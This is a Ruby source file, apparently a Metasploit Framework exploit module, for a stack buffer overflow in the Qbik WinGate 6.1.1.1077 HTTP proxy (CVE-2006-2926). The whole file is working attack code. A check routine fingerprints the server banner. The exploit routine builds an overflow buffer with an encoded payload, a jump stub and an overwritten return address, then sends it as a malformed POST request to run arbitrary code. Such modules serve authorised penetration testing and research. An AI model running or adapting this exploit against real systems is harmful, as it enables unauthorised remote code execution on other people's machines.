88 lines
2.1 KiB
Ruby
88 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Qbik WinGate version
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6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
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HTTP proxy service on port 80, a remote attacker could overflow
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a buffer and execute arbitrary code.
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},
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'Author' => 'patrick',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2006-2926' ],
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[ 'OSVDB', '26214' ],
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[ 'BID', '18312' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
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],
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'Privileged' => true,
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'DisclosureDate' => 'Jun 07 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def check
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connect
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sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
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banner = sock.get_once || ''
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if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buff = Rex::Text.rand_text_alphanumeric(3000)
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buff[1200, 1000] = payload.encoded # jmp here
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buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
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buff[2284, 4] = [target['Ret']].pack('V') #eip
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sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"
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sock.put(sploit)
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sock.get_once(-1, 3)
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handler
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disconnect
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end
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end
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